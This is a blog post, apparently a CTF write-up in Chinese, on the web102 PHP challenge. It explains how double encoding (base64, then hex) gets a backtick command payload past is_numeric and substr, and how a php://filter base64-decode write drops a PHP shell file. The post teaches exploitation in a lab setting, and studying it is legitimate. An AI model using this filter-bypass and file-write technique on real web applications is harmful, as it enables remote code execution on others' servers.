base64以及十六进制加密绕过
以web102为例,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
主要思路(相当新颖):
- 这道题主要使用了这几个点对相关函数进行绕过:
- 使用先
base64
加密,之后采用bin2hex
函数将原始二进制数据转化为16进制数据,该16进制数据最多只会存在一个字母e
,会被识别为科学计数法。可以让我们绕过is_numeric
函数。 - 之后便是使用伪装成科学技术法表示的恶意代码,在首位随便加上两个数字如
22
,绕过substr
函数,题目中该函数的第一和第二位参数分别是要截取的目标字符和起始字符的索引值。 - 之后便是使用
file_put_contents
函数,将我们的密文传入新建的文件,把file_put_content
函数的首位参数以php
伪协议的方式来写,可以让被写入文件的数据经过这样一个伪协议的处理后再写入,即再反向解码,把恶意代码写入文件。
- 使用先
几个点详细介绍
双重加密
- 我们的原始恶意代码:
<?= 'cat *';
,注解:
这里的**`**符号,如同
system和
passthru函数,用于执行外部操作环境的指令。 与
system和
passthru最大的区别就是它不会返回布尔值,它只会返回一个执行后的字符串,可以用变量接收,并用于后续操作。 **这里为什么我们需要使用这个函数?而不是另外两种执行外部操作环境命令的指令?** 因为进行双重加密后,我们需要让加密结果最多只留字母
e`,(科学计数法在php中的表示可以不分大小写)。
所以要让原命令的组成尽量简单,不要有太多多余字符。
substr
绕过
- 对于
substr
的绕过,请牢记,在我们需要的密文前加n
位无效数字,让该函数直接截取到我们的恶意代码。
file_put_contents
与php伪协议
对于该函数,第一个参数为要写入的目标文件名,第二个参数为要写入文件的字符串内容。
若我们在这题构建这样的payloads:
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);//v2传入双重加密过后的密文
$str = call_user_func($v1,$s);//v1传入hex2bin
echo $str;
file_put_contents($v3,$str);
/*
v3的payloads传入php://filter/write=convert.base64-decode/resource=1.php
这里在传入v3的payload,放在file_put_contents中首位参数,那么二号参数,即字符串,在传入的时候
就会通过base64的解码,并且传入resource中的1.php。
*/
}
else{
die('hacker');
}
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Dedsec的博客!